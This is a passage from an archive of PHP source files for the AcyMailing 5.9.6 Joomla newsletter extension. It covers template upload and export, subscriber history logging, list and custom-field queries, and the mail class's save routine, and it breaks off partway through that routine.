					$newContent = str_replace($charused[0], $charused[1].'class='.$charused[2].'acyeditor_sortable ', $newContent);
				}else{
					$newContent = str_replace('<tbody', '<tbody class="acyeditor_sortable"', $newContent);
				}

				$html = str_replace($results[0][$i], $newContent, $html);
			}
		}

		return true;
	}

	function doupload(){
		$importFile = acymailing_getVar('none', 'uploadedfile', '', 'files');

		$fileError = $_FILES['uploadedfile']['error'];
		if($fileError > 0){
			switch($fileError){
				case 1:
					acymailing_enqueueMessage('The uploaded file exceeds the upload_max_filesize directive in php configuration.', 'error');
					return false;
				case 2:
					acymailing_enqueueMessage('The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form.', 'error');
					return false;
				case 3:
					acymailing_enqueueMessage('The uploaded file was only partially uploaded.', 'error');
					return false;
				case 4:
					acymailing_enqueueMessage('No file was uploaded.', 'error');
					return false;
				default:
					acymailing_enqueueMessage('Error uploading the file on the server, unknown error '.$fileError, 'error');
					return false;
			}
		}
		if(empty($importFile['name'])){
			acymailing_enqueueMessage(acymailing_translation('BROWSE_FILE'), 'error');
			return false;
		}
		
		$uploadPath = acymailing_cleanPath(ACYMAILING_ROOT.ACYMAILING_MEDIA_FOLDER.DS.'templates');

		if(!is_writable($uploadPath)){
			@chmod($uploadPath, '0755');
			if(!is_writable($uploadPath)){
				acymailing_enqueueMessage(acymailing_translation_sprintf('WRITABLE_FOLDER', $uploadPath), 'warning');
			}
		}

		if(!(bool)ini_get('file_uploads')){
			acymailing_enqueueMessage('Can not upload the file, please make sure file_uploads is enabled on your php.ini file', 'error');
			return false;
		}

		if(!extension_loaded('zlib')){
			acymailing_raiseError(E_WARNING, 'SOME_ERROR_CODE', acymailing_translation('WARNINSTALLZLIB'));
			return false;
		}

		$filename = strtolower(acymailing_makeSafeFile($importFile['name']));
		$extension = strtolower(substr($filename, strrpos($filename, '.') + 1));

		if(!in_array($extension, array('zip', 'tar.gz'))){
			acymailing_enqueueMessage(acymailing_translation_sprintf('ACCEPTED_TYPE', $extension, 'zip,tar.gz'), 'error');
			return false;
		}

		$jpath = acymailing_getCMSConfig('tmp_path', ACYMAILING_MEDIA.'tmp'.DS);
		$tmp_dest = acymailing_cleanPath($jpath.DS.$filename);
		$tmp_src = $importFile['tmp_name'];

		$uploaded = acymailing_uploadFile($tmp_src, $tmp_dest);
		if(!$uploaded){
			acymailing_enqueueMessage('Error uploading the file from '.$tmp_src.' to '.$tmp_dest, 'error');
			return false;
		}

		$tmpdir = uniqid().'_template';

		$extractdir = acymailing_cleanPath(dirname($tmp_dest).DS.$tmpdir);

		$result = acymailing_extractArchive($tmp_dest, $extractdir);
		acymailing_deleteFile($tmp_dest);

		$allFiles = acymailing_getFiles($extractdir, '.', true, true, array(), array());
		foreach($allFiles as $oneFile){
			if(preg_match('#\.(jpg|gif|png|jpeg|ico|bmp|html|htm|css)$#i', $oneFile)){
				continue;
			}
			if(acymailing_deleteFile($oneFile)){
				acymailing_enqueueMessage('File '.$oneFile.' deleted from the template pack', 'warning');
			}
		}

		if(!$result){
			acymailing_enqueueMessage('Error extracting the file '.$tmp_dest.' to '.$extractdir, 'error');
			return false;
		}

		if($this->detecttemplates($extractdir)){
			$messages = $this->templateNames;
			array_unshift($messages, acymailing_translation_sprintf('TEMPLATES_INSTALL', count($this->templateNames)));
			acymailing_enqueueMessage($messages, 'success');
			if(is_dir($extractdir)) acymailing_deleteFolder($extractdir);
			return true;
		}

		acymailing_enqueueMessage('Error installing template', 'error');
		if(is_dir($extractdir)) acymailing_deleteFolder($extractdir);
		return false;
	}

	function export($tempid){
		if(!extension_loaded('zlib')){
			acymailing_raiseError(E_WARNING, 'SOME_ERROR_CODE', acymailing_translation('WARNINSTALLZLIB'));
			return false;
		}
		
		$template = $this->get($tempid);
		$fileDeb = '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />';
		if(!empty($template->description)){
			$fileDeb .= '
<meta name="description" content="'.str_replace('"', "'", $template->description).'" />';
		}
		if(!empty($template->fromname)){
			$fileDeb .= '
<meta name="fromname" content="'.$template->fromname.'" />';
		}
		if(!empty($template->fromemail)){
			$fileDeb .= '
<meta name="fromemail" content="'.$template->fromemail.'" />';
		}
		if(!empty($template->replyname)){
			$fileDeb .= '
<meta name="replyname" content="'.$template->replyname.'" />';
		}
		if(!empty($template->replyemail)){
			$fileDeb .= '
<meta name="replyemail" content="'.$template->replyemail.'" />';
		}
		$fileDeb .= '
<title>'.$template->name.'</title>';

		$css = '
<style type="text/css">
';
		$css .= file_get_contents(ACYMAILING_TEMPLATE.DS.'css'.DS.'template_'.$tempid.'.css');
		$css .= '
</style>';

		$indexFile = $fileDeb.$css.'
</head>
<body>
'.$template->body.'
</body>
</html>';

		$tmpdir = preg_replace('#[^a-z0-9]#i', '_', strtolower($template->name));
		$jpathURL = ACYMAILING_LIVE.ACYMAILING_MEDIA_FOLDER.'/tmp';
		$tmp_url_dest = $jpathURL.DS.$tmpdir;
		$jpath = ACYMAILING_MEDIA.'tmp';
		$tmp_dest = acymailing_cleanPath($jpath.DS.$tmpdir);
		acymailing_createDir($jpath, true);

		if(!acymailing_createFolder($tmp_dest)){
			acymailing_enqueueMessage('Error creating folder in temp directory: '.$tmp_dest, 'error');
			return false;
		}

		if(!empty($template->thumb)){
			$thumbPath = acymailing_cleanPath(ACYMAILING_ROOT.DS.$template->thumb);
			$thumbExt = acymailing_fileGetExt($thumbPath);
			$resCopyThumb = acymailing_copyFile($thumbPath, $tmp_dest.DS.'thumbnail.'.$thumbExt);
			if(!$resCopyThumb){
				acymailing_enqueueMessage('Error copying the thumb picture', 'warning');
			}
		}
		$resHandleImages = $this->handlepict($indexFile, $tmp_dest);
		if(!$resHandleImages){
			acymailing_deleteFolder($tmp_dest);
			return false;
		}

		$resCopyIndex = acymailing_writeFile($tmp_dest.DS.'index.html', $indexFile);
		if(!$resCopyIndex){
			acymailing_enqueueMessage('Error copying the file index.html to temp directory '.$tmp_dest, 'error');
			return false;
		}
		$zipFilesArray = array();
		$dirs = acymailing_getFolders($tmp_dest, '.', true, true);
		array_push($dirs, $tmp_dest);
		foreach($dirs as $dir){
			$files = acymailing_getFiles($dir, '.', false, true);
			foreach($files as $file){
				$posSlash = strrpos($file, '/');
				$posASlash = strrpos($file, '\\');
				$pos = ($posSlash < $posASlash) ? $posASlash : $posSlash;
				if(!empty($pos)) $file = substr_replace($file, DS, $pos, 1);
				$data = acymailing_fileGetContent($file);
				$zipFilesArray[] = array('name' => str_replace($tmp_dest.DS, '', $file), 'data' => $data);
			}
		}

		$created = acymailing_createArchive($tmp_dest, $zipFilesArray);
		acymailing_deleteFolder($tmp_dest);

		if($created === false) return false;
		return $tmp_url_dest.'.zip';
	}

	function handlepict(&$content, $templatepath){

		$content = acymailing_absoluteURL($content);

		if(!preg_match_all('#<img[^>]*src="([^"]*)"#i', $content, $pictures)) return true;

		$pictFolder = rtrim($templatepath, DS).DS.'images';
		if(!acymailing_createDir($pictFolder)){
			return false;
		}

		$replace = array();
		foreach($pictures[1] as $onePict){
			if(isset($replace[$onePict])) continue;

			$location = str_replace(array(ACYMAILING_LIVE, '/'), array(ACYMAILING_ROOT, DS), $onePict);
			if(strpos($location, 'http') === 0) continue;

			if(!file_exists($location)) continue;

			$filename = basename($location);
			while(file_exists($pictFolder.DS.$filename)){
				$filename = rand(0, 99).$filename;
			}

			if(acymailing_copyFile($location, $pictFolder.DS.$filename) !== true){
				acymailing_display('Could not copy the file from '.$location.' to '.$pictFolder.DS.$filename, 'error');
				return false;
			}

			$replace[$onePict] = 'images/'.$filename;
		}

		$content = str_replace(array_keys($replace), $replace, $content);

		return true;
	}
}
com_acymailing/classes/acyhistory.php000060400000002534152455305300014065 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class acyhistoryClass extends acymailingClass{

	function insert($subid,$action,$data = array(),$mailid = 0){
		$currentUserid = acymailing_currentUserId();
		if(!empty($currentUserid)){
			$data[] = acymailing_translation('EXECUTED_BY').'::'.$currentUserid.' ( '.acymailing_currentUserName().' )';
		}
		$history = new stdClass();
		$history->subid = intval($subid);
		$history->action = strip_tags($action);
		$history->data = implode("\n",$data);
		if(strlen($history->data) > 100000) $history->data = substr($history->data,0,10000);
		$history->date = time();
		$history->mailid = $mailid;
		$userHelper = acymailing_get('helper.user');
		$history->ip = $userHelper->getIP();
		if(!empty($_SERVER)){
			$source = array();
			$vars = array('HTTP_REFERER','HTTP_USER_AGENT','HTTP_HOST','SERVER_ADDR','REMOTE_ADDR','REQUEST_URI','QUERY_STRING');
			foreach($vars as $oneVar){
				if(!empty($_SERVER[$oneVar])) $source[] = $oneVar.'::'.strip_tags($_SERVER[$oneVar]);
			}
			$history->source = implode("\n",$source);
		}

		return acymailing_insertObject(acymailing_table('history'),$history);
	}

}
com_acymailing/classes/list.php000060400000016451152455305300012645 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class listClass extends acymailingClass{

	var $tables = array('listsub', 'listcampaign', 'listmail', 'list');
	var $pkey = 'listid';
	var $namekey = 'alias';
	var $type = 'list';
	var $newlist = false;
	var $allowedFields = array('name', 'description', 'listid', 'published', 'userid', 'alias', 'color', 'visible', 'welmailid', 'unsubmailid', 'type', 'access_sub', 'access_manage', 'languages', 'startrule', 'category', 'ordering');

	function getLists($index = '', $listids = 'all'){
		$onlyListids = array();
		if(strtolower($listids) != 'all'){
			$onlyListids = explode(',', $listids);
			acymailing_arrayToInteger($onlyListids);
		}

		$query = 'SELECT * FROM '.acymailing_table('list').' WHERE type = \''.$this->type.'\' '.(empty($onlyListids) ? '' : 'AND listid IN ('.implode(',', $onlyListids).')').' ORDER BY ordering ASC';
		return acymailing_loadObjectList($query, $index);
	}

	function getAllCampaigns($index = ''){
		$query = 'SELECT * FROM '.acymailing_table('list').' WHERE type = \'campaign\' ORDER BY ordering ASC';
		return acymailing_loadObjectList($query, $index);
	}

	function delete($elements){
		if(!is_array($elements)){
			$elements = array($elements);
		}

		acymailing_arrayToInteger($elements);

		if(empty($elements)) return 0;

		acymailing_query('DELETE FROM #__acymailing_listcampaign WHERE `campaignid` IN ('.implode(',', $elements).')');

		acymailing_query('DELETE #__acymailing_mail, #__acymailing_listmail FROM #__acymailing_mail INNER JOIN #__acymailing_listmail WHERE #__acymailing_mail.mailid=#__acymailing_listmail.mailid AND #__acymailing_mail.type=\'followup\' AND #__acymailing_listmail.listid IN ('.implode(',', $elements).')');

		return parent::delete($elements);
	}

	function getFrontendLists($index = ''){
		$userid = acymailing_currentUserId();
		if(empty($userid)) return array();

		$groups = acymailing_getGroupsByUser(acymailing_currentUserId(), false);

		$possibleValues = array();
		$possibleValues[] = 'access_manage = \'all\'';
		$possibleValues[] = 'userid = '.intval(acymailing_currentUserId());
		foreach($groups as $oneGroup){
			$possibleValues[] = 'access_manage LIKE \'%,'.intval($oneGroup).',%\'';
		}

		$query = 'SELECT * FROM '.acymailing_table('list').' WHERE published = 1 AND type = \''.$this->type.'\' AND ('.implode(' OR ', $possibleValues).') ORDER BY ordering ASC';
		return acymailing_loadObjectList($query, $index);
	}

	function getFrontendCampaigns($index = ''){
		$userid = acymailing_currentUserId();
		if(empty($userid)) return array();

		$groups = acymailing_getGroupsByUser($userid, false);

		$possibleValues = array();
		$possibleValues[] = 'access_manage = \'all\'';
		$possibleValues[] = 'userid = '.intval($userid);
		foreach($groups as $oneGroup){
			$possibleValues[] = 'access_manage LIKE \'%,'.intval($oneGroup).',%\'';
		}

		$query = 'SELECT DISTINCT l.* FROM '.acymailing_table('list').' AS l INNER JOIN '.acymailing_table('listcampaign').' AS lc ON l.listid = lc.campaignid WHERE lc.listid IN (SELECT DISTINCT il.listid FROM '.acymailing_table('listcampaign').' AS ilc INNER JOIN '.acymailing_table('list').' AS il ON ilc.listid = il.listid WHERE il.published = 1 AND il.type = \'list\' AND ('.implode(' OR ', $possibleValues).')) AND l.published = 1 ORDER BY ordering ASC';
		return acymailing_loadObjectList($query, $index);
	}

	function get($listid, $default = null){
		$query = 'SELECT a.*, b.'.$this->cmsUserVars->name.' as creatorname, b.'.$this->cmsUserVars->username.' AS username, b.'.$this->cmsUserVars->email.' AS email FROM '.acymailing_table('list').' as a LEFT JOIN '.acymailing_table($this->cmsUserVars->table, false).' as b on a.userid = b.'.$this->cmsUserVars->id.' WHERE listid = '.intval($listid).' LIMIT 1';
		return acymailing_loadObject($query);
	}

	function saveForm(){

		$list = new stdClass();
		$list->listid = acymailing_getCID('listid');

		$formData = acymailing_getVar('array', 'data', array(), '');

		if(!empty($formData['list']['category']) && $formData['list']['category'] == -1){
			$formData['list']['category'] = acymailing_getVar('string', 'newcategory', '');
		}

		foreach($formData['list'] as $column => $value){
			if(acymailing_isAdmin() || in_array($column, $this->allowedFields)){
				acymailing_secureField($column);
				$list->$column = strip_tags($value);
			}
		}

		$list->description = acymailing_getVar('string', 'editor_description', '', '', ACY_ALLOWHTML);
		if(isset($list->published) && $list->published != 1) $list->published = 0;
		$listid = $this->save($list);
		if(!$listid) return false;

		if(empty($list->listid)){
			$orderClass = acymailing_get('helper.order');
			$orderClass->pkey = 'listid';
			$orderClass->table = 'list';
			$orderClass->groupMap = 'type';
			$orderClass->groupVal = empty($list->type) ? $this->type : $list->type;
			$orderClass->reOrder();

			$this->newlist = true;
		}

		if(!empty($formData['listcampaign'])){
			$affectedLists = array();
			foreach($formData['listcampaign'] as $affectlistid => $receiveme){
				if(!empty($receiveme)){
					$affectedLists[] = $affectlistid;
				}
			}

			$listCampaignClass = acymailing_get('class.listcampaign');
			$listCampaignClass->save($listid, $affectedLists);
		}

		acymailing_setVar('listid', $listid);

		return true;
	}

	function save($list){
		if(empty($list->listid)){
			if(empty($list->userid)){
				$list->userid = acymailing_currentUserId();
			}
			if(empty($list->alias)) $list->alias = $list->name;
		}

		if(isset($list->alias)){
			if(empty($list->alias)) $list->alias = $list->name;
			$list->alias = acymailing_cleanSlug($list->alias);
		}

		acymailing_importPlugin('acymailing');
		if(empty($list->listid)){
			acymailing_trigger('onAcyBeforeListCreate', array(&$list));
			$status = acymailing_insertObject(acymailing_table('list'), $list);
		}else{
			acymailing_trigger('onAcyBeforeListModify', array(&$list));
			$status = acymailing_updateObject(acymailing_table('list'), $list, 'listid');
		}


		if($status) return empty($list->listid) ? $status : $list->listid;
		return false;
	}

	function onlyCurrentLanguage($lists){
		$currentLang = strtolower(acymailing_getLanguageTag());

		$newLists = array();
		foreach($lists as $id => $oneList){
			if($oneList->languages == 'all' OR in_array($currentLang, explode(',', $oneList->languages))){
				$newLists[$id] = $oneList;
			}
		}

		return $newLists;
	}

	function onlyAllowedLists($lists){
		$newLists = array();
		foreach($lists as $id => $oneList){
			if(!$oneList->published) continue;
			if(!acymailing_isAllowed($oneList->access_sub)) continue;
			$newLists[$id] = $oneList;
		}
		return $newLists;
	}

	function getCampaigns($listid){
		if(empty($listid)) return array();

		if(is_array($listid)) $listid = implode(',', $listid);
		$query = 'SELECT  b.listid, b.campaignid FROM '.acymailing_table('list').' as a LEFT JOIN '.acymailing_table('listcampaign').' as b on a.listid = b.listid WHERE a.type = \'list\' AND b.listid IN ( '.$listid.') ORDER BY b.listid';
		$resSql = acymailing_loadObjectList($query);
		$listCampaigns = array();
		foreach($resSql as $oneList){
			$listCampaigns[$oneList->listid][] = $oneList->campaignid;
		}
		return $listCampaigns;
	}

}
com_acymailing/classes/fields.php000060400000014013152455305300013130 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class fieldsClass extends acymailingClass{

	var $tables = array('fields');
	var $pkey = 'fieldid';
	var $errors = array();
	var $prefix = 'field_';
	var $suffix = '';
	var $excludeValue = array();
	var $formoption = '';

	var $labelClass = '';

	var $dispatcher;

	var $currentUserEmail;

	var $origin;

	function __construct($config = array()){
		acymailing_importPlugin('acymailing');
		return parent::__construct($config);
	}

	function getFields($area, &$user){

		if(empty($user)) $user = new stdClass();

		$where = array();
		$where[] = 'a.`published` = 1';
		if($area == 'backend'){
			$where[] = 'a.`backend` = 1';
			$where[] = 'a.`core` = 0';
		}elseif($area == 'backlisting'){
			$where[] = 'a.`listing` = 1';
			$where[] = 'a.`type` != \'category\'';
		}elseif($area == 'frontcomp'){
			$where[] = 'a.`frontcomp` = 1';
		}elseif($area == 'frontform'){
			$where[] = 'a.`frontform` = 1';
			$where[] = 'a.`core` = 0';
		}elseif($area == 'frontlisting'){
			$where[] = 'a.`frontlisting` = 1';
			$where[] = 'a.`type` != \'category\'';
		}elseif($area == 'frontjoomlaprofile'){
			$where[] = 'a.`frontjoomlaprofile` = 1';
			$where[] = 'a.`type` != \'category\'';
		}elseif($area == 'frontjoomlaregistration'){
			$where[] = 'a.`frontjoomlaregistration` = 1';
			$where[] = 'a.`type` != \'category\'';
		}elseif($area == 'joomlaprofile'){
			$where[] = 'a.`joomlaprofile` = 1';
			$where[] = 'a.`type` != \'category\'';
		}elseif($area == 'fieldcat'){
			$where[] = "a.`type`='category'";
		}elseif($area == 'module'){
		}elseif($area != 'all'){
			$area = acymailing_escapeDB($area);
			$namesField = str_replace(",", $area[0].",".$area[0], $area);
			$where[] = "a.`namekey` IN (".$namesField.")";
		}

		if(!acymailing_isAdmin() && acymailing_level(3)){
			$groups = acymailing_getGroupsByUser(acymailing_currentUserId(), false);
			$condGroup = '';
			foreach($groups as $group){
				$condGroup .= ' OR a.access LIKE (\'%,'.$group.',%\')';
			}
			$filterAccess = 'AND (a.access = \'all\''.$condGroup.')';
		}else{
			$filterAccess = '';
		}

		$fields = acymailing_loadObjectList('SELECT * FROM `#__acymailing_fields` as a WHERE '.implode(' AND ', $where).' '.$filterAccess.' ORDER BY a.`ordering` ASC', 'namekey');
		foreach($fields as $namekey => $field){
			if(!empty($fields[$namekey]->options)){
				$fields[$namekey]->options = unserialize($fields[$namekey]->options);
			}else{
				$fields[$namekey]->options = array();
			}

			if(!empty($field->value)){
				$fields[$namekey]->value = $this->explodeValues($fields[$namekey]->value);
			}
			if($field->type == 'file' || $field->type == 'gravatar') $this->formoption = 'enctype="multipart/form-data"';
			if(empty($user->subid)) $user->$namekey = $field->default;
		}
		if(acymailing_level(3)){
			$allFields = acymailing_loadObjectList('SELECT * FROM `#__acymailing_fields`', 'fieldid');

			$baseElem = array();
			$elemInCat = array();
			foreach($fields as $namekey => $field){
				if($field->fieldcat == 0){
					$baseElem[] = $field;
				} // root element
				else{
					$parentId = $this->getParentCat($field, $fields, $allFields);
					$field->fieldcat = $parentId;
					if($parentId == 0){
						$baseElem[] = $field;
					} // No parent
					else{
						if(empty($elemInCat[$field->fieldcat])) $elemInCat[$field->fieldcat] = array();
						$elemInCat[$field->fieldcat][] = $field;
					}
				}
			}
			$finalField = array();
			foreach($baseElem as $oneField){
				$finalField[$oneField->namekey] = $oneField;
				if($oneField->type == 'category' && !empty($elemInCat[$oneField->fieldid])){
					$childs = $this->getChildFields($oneField->fieldid, $elemInCat);
					$finalField = $finalField + $childs;
				}
			}
			$fields = $finalField;
		}
		return $fields;
	}

	private function getParentCat($elem, $fields, $allFields){
		$parent = $allFields[$elem->fieldcat];
		if(array_key_exists($parent->namekey, $fields)){
			return $parent->fieldid;
		}else{
			if($parent->fieldcat == 0){
				return 0;
			}else return $this->getParentCat($parent, $fields, $allFields);
		}
	}

	private function getChildFields($fieldcatid, $elemInCat){
		$childs = array();
		$childElems = $elemInCat[$fieldcatid];
		foreach($childElems as $oneField){
			$childs[$oneField->namekey] = $oneField;
			if($oneField->type == 'category' && !empty($elemInCat[$oneField->fieldid])){
				$subChilds = $this->getChildFields($oneField->fieldid, $elemInCat);
				$childs = $childs + $subChilds;
			}
		}
		return $childs;
	}

	function getFieldName($field){
		$addLabels = array('textarea', 'text', 'dropdown', 'multipledropdown', 'file');
		return '<label '.(empty($this->labelClass) ? '' : ' class="'.$this->labelClass.'" ').(in_array($field->type, $addLabels) ? ' for="'.$this->prefix.$field->namekey.$this->suffix.'" ' : '').'>'.$this->trans($field->fieldname).'</label>';
	}

	function trans($name){
		if(preg_match('#^[A-Z_]*$#', $name)){
			return acymailing_translation($name);
		}
		return $name;
	}

	function listing($field, $value, $search = ''){
		$functionType = '_listing'.ucfirst($field->type);

		if(method_exists($this, $functionType)) return $this->$functionType($field, $value);

		ob_start();
		$resultTrigger = acymailing_trigger('onAcyListingField_'.$field->type, array($field, $value));
		$pluginField = ob_get_clean();

		if(!empty($pluginField)){
			return $pluginField;
		}else return acymailing_dispSearch(nl2br($this->trans($value)), $search);
	}

	function explodeValues($values){
		$allValues = explode("\n", $values);
		$returnedValues = array();
		foreach($allValues as $id => $oneVal){
			$line = explode('::', trim($oneVal));
			$var = @$line[0];
			$val = @$line[1];
			if(strlen($val) < 1) continue;

			$obj = new stdClass();
			$obj->value = $val;
			for($i = 2; $i < count($line); $i++){
				$obj->{$line[$i]} = 1;
			}
			$returnedValues[$var] = $obj;
		}
		return $returnedValues;
	}

}
com_acymailing/classes/mail.php000060400000056701152455305300012616 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class mailClass extends acymailingClass{

	var $tables = array('queue', 'listmail', 'stats', 'userstats', 'urlclick', 'mail');
	var $pkey = 'mailid';
	var $namekey = 'alias';
	var $allowedFields = array('subject', 'published', 'fromname', 'fromemail', 'replyname', 'replyemail', 'type', 'visible', 'alias', 'html', 'tempid', 'altbody', 'filter', 'metakey', 'metadesc', 'language', 'summary', 'thumb', 'params');

	function get($id, $default = null){

		if(empty($id)) return null;

		$query = 'SELECT a.* FROM '.acymailing_table('mail').' as a WHERE ';
		$query .= is_numeric($id) ? 'a.mailid' : 'a.alias';
		$query .= ' = '.acymailing_escapeDB($id);
		$query .= ' LIMIT 1';

		$mail = acymailing_loadObject($query);

		if(empty($mail) || empty($mail->mailid)) return $default;

		if(!empty($mail->userid)){
			$author = acymailing_loadObject('SELECT b.'.$this->cmsUserVars->username.' AS username, b.'.$this->cmsUserVars->name.' AS name, b.'.$this->cmsUserVars->email.' AS email FROM '.acymailing_table('users', false).' as b WHERE b.'.$this->cmsUserVars->id.' = '.intval($mail->userid).' LIMIT 1');
			if(!empty($author)){
				foreach($author as $var => $value){
					$mail->$var = $value;
				}
			}
		}

		$mail->subject = acyEmoji::Decode($mail->subject);
		$mail->attach = empty($mail->attach) ? array() : unserialize($mail->attach);
		$mail->favicon = empty($mail->favicon) ? new stdClass() : unserialize($mail->favicon);
		$mail->params = empty($mail->params) ? array() : unserialize($mail->params);
		$mail->filter = empty($mail->filter) ? array() : unserialize($mail->filter);

		return $mail;
	}

	function getMails($types = null, $key = 'mailid'){
		$query = 'SELECT * FROM '.acymailing_table('mail');

		$allowedTypes = array('action', 'autonews', 'followup', 'joomlanotification', 'news', 'notification', 'unsub', 'welcome');
		if(!empty($types)){
			$notAllowed = array_diff($types, $allowedTypes);
			if(!empty($notAllowed)) die('Invalid type(s) '.implode(', ', $types));
			$query .= ' WHERE type = "'.implode('" OR type = "', $types).'"';
		}

		$query .= ' ORDER BY created DESC LIMIT 3000';

		$mails = acymailing_loadObjectList($query);

		$result = array();
		if(!empty($key) && !empty($mails) && !isset($mails[0]->$key)) die('Invalid key '.$key);
		foreach($mails as $oneMail){
			$oneMail->subject = acyEmoji::Decode($oneMail->subject);
			$oneMail->attach = empty($oneMail->attach) ? array() : unserialize($oneMail->attach);
			$oneMail->favicon = empty($oneMail->favicon) ? new stdClass() : unserialize($oneMail->favicon);
			$oneMail->params = empty($oneMail->params) ? array() : unserialize($oneMail->params);
			$oneMail->filter = empty($oneMail->filter) ? array() : unserialize($oneMail->filter);

			if(empty($key))	$result[$oneMail->type][] = $oneMail;
			else $result[$oneMail->type][$oneMail->$key] = $oneMail;
		}

		return $result;
	}

	function saveForm(){
		$config = acymailing_config();

		$mail = new stdClass();
		$mail->mailid = acymailing_getCID('mailid');

		$formData = acymailing_getVar('array', 'data', array(), '');
		if(!empty($formData['mail']['subject'])) $formData['mail']['subject'] = str_replace(chr(226).chr(128).chr(168), '', $formData['mail']['subject']);
		$formData['mail']['subject'] = acyEmoji::Encode($formData['mail']['subject']);

		$result = preg_match('/(\\\u[0-9a-f]{4})+/i', $formData['mail']['subject']);
		if($result){
			$toggleClass = acymailing_get('helper.toggle');
			if($config->get('emojiwarning', 1)){
				$notremind = acymailing_isAdmin() ? '<small style="float:right;margin-right:30px;position:relative;">'.$toggleClass->delete('acymailing_messages_warning', 'emojiwarning_0', 'config', false, acymailing_translation('DONT_REMIND')).'</small>' : '';
				acymailing_enqueueMessage(acymailing_translation_sprintf('ACY_EMOJI_CONFIRMATION', '<a target="_blank" href="'.ACYMAILING_HELPURL.'newsletters&level=Enterprise#infos">', '</a>').' '.$notremind, 'warning');
			}
		}

		foreach($formData['mail'] as $column => $value){
			if(!acymailing_isAdmin() && !in_array($column, $this->allowedFields)) continue;
			acymailing_secureField($column);
			if(in_array($column, array('params', 'summary'))){
				$mail->$column = $value;
			}else{
				$mail->$column = strip_tags($value, '<ADV>');
			}
		}

		$mail->lastupdate = time();
		$mail->userlastupdate = acymailing_currentUserId();

		$mail->body = acymailing_getVar('string', 'editor_body', '', '', ACY_ALLOWRAW);
		$mail->body = acymailing_filterText($mail->body);

		$acypluginsHelper = acymailing_get('helper.acyplugins');
		$acypluginsHelper->cleanHtml($mail->body);
		$mail->body = $acypluginsHelper->removeJS($mail->body);

		$mail->attach = array();
		$attachments = acymailing_getVar('array', 'attachments', array(), '');

		if(!empty($attachments)){
			foreach($attachments as $id => $filepath){
				if(empty($filepath)) continue;
				$attachment = new stdClass();
				$attachment->filename = $filepath;
				$attachment->size = filesize(ACYMAILING_ROOT.$filepath);
				$extension = substr($attachment->filename, strrpos($attachment->filename, '.'));

				if(preg_match('#\.(php.?|.?htm.?|pl|py|jsp|asp|sh|cgi)#Ui', $attachment->filename)){
					acymailing_enqueueMessage(acymailing_translation_sprintf('ACCEPTED_TYPE', substr($attachment->filename, strrpos($attachment->filename, '.') + 1), $config->get('allowedfiles')), 'notice');
					continue;
				}
				$attachment->filename = str_replace(array('.', ' '), '_', substr($attachment->filename, 0, strpos($attachment->filename, $extension))).$extension;

				$mail->attach[] = $attachment;
			}
		}

		$faviconRequest = acymailing_getVar('none', 'favicon', '');
		if(!empty($faviconRequest[0])){
			$faviconRequest = $faviconRequest[0];
			$favicon = new stdClass();
			$favicon->filename = $faviconRequest;
			$favicon->size = filesize(ACYMAILING_ROOT.$faviconRequest);
			$extension = substr($favicon->filename, strrpos($favicon->filename, '.'));
			if(preg_match('#\.(php.?|.?htm.?|pl|py|jsp|asp|sh|cgi)#Ui', $favicon->filename)){
				acymailing_enqueueMessage(acymailing_translation_sprintf('ACCEPTED_TYPE', substr($favicon->filename, strrpos($favicon->filename, '.') + 1), $config->get('allowedfiles')), 'notice');
			}

			$favicon->filename = str_replace(array('.', ' '), '_', substr($favicon->filename, 0, strpos($favicon->filename, $extension))).$extension;

			$mail->favicon = $favicon;
		}

		if(isset($mail->filter)){
			$mail->filter = array();
			$filterData = acymailing_getVar('none', 'filter');
			unset($filterData['type']['__block__']);
			unset($filterData['__num__']);
			$realNum = 0;
			$blockNum = 0;
			foreach ($filterData['type'] as $oneFilter){
				foreach($oneFilter as $num => $oneType) {
					if (empty($oneType)) continue;
					$mail->filter['type'][$blockNum][$realNum] = $oneType;
					$mail->filter[$realNum][$oneType] = $filterData[$num][$oneType];
					$realNum++;
				}
				$blockNum++;
			}
		}

		$toggleHelper = acymailing_get('helper.toggle');
		if(!empty($mail->type) && $mail->type == 'followup' && !empty($mail->mailid)){
			$oldMail = $this->get($mail->mailid);
			if(!empty($mail->published) AND !$oldMail->published){
				$this->_publishfollowup($mail);
			}
			if($oldMail->senddate != $mail->senddate){
				$text = acymailing_translation('FOLLOWUP_CHANGED_DELAY_INFORMED');
				$text .= ' '.$toggleHelper->toggleText('update', $mail->mailid, 'followup', acymailing_translation('FOLLOWUP_CHANGED_DELAY'));
				acymailing_enqueueMessage($text, 'notice');
			}
		}

		if(preg_match('#<a[^>]*subid=[0-9].*</a>#Uis', $mail->body, $pregResult)){
			acymailing_enqueueMessage(acymailing_translation_sprintf('ACY_PERSONAL_LINK', $pregResult[0]), 'warning');
		}

		if(empty($mail->thumb)){
			unset($mail->thumb);
		}elseif($mail->thumb == 'delete'){
			$mail->thumb = '';
		}
		if(isset($mail->published) && $mail->published != 1) $mail->published = 0;
		if(isset($mail->html) && $mail->html != 1) $mail->html = 0;
		if(isset($mail->visible) && $mail->visible != 1) $mail->visible = 0;
		$mailid = $this->save($mail);
		if(!$mailid) return false;
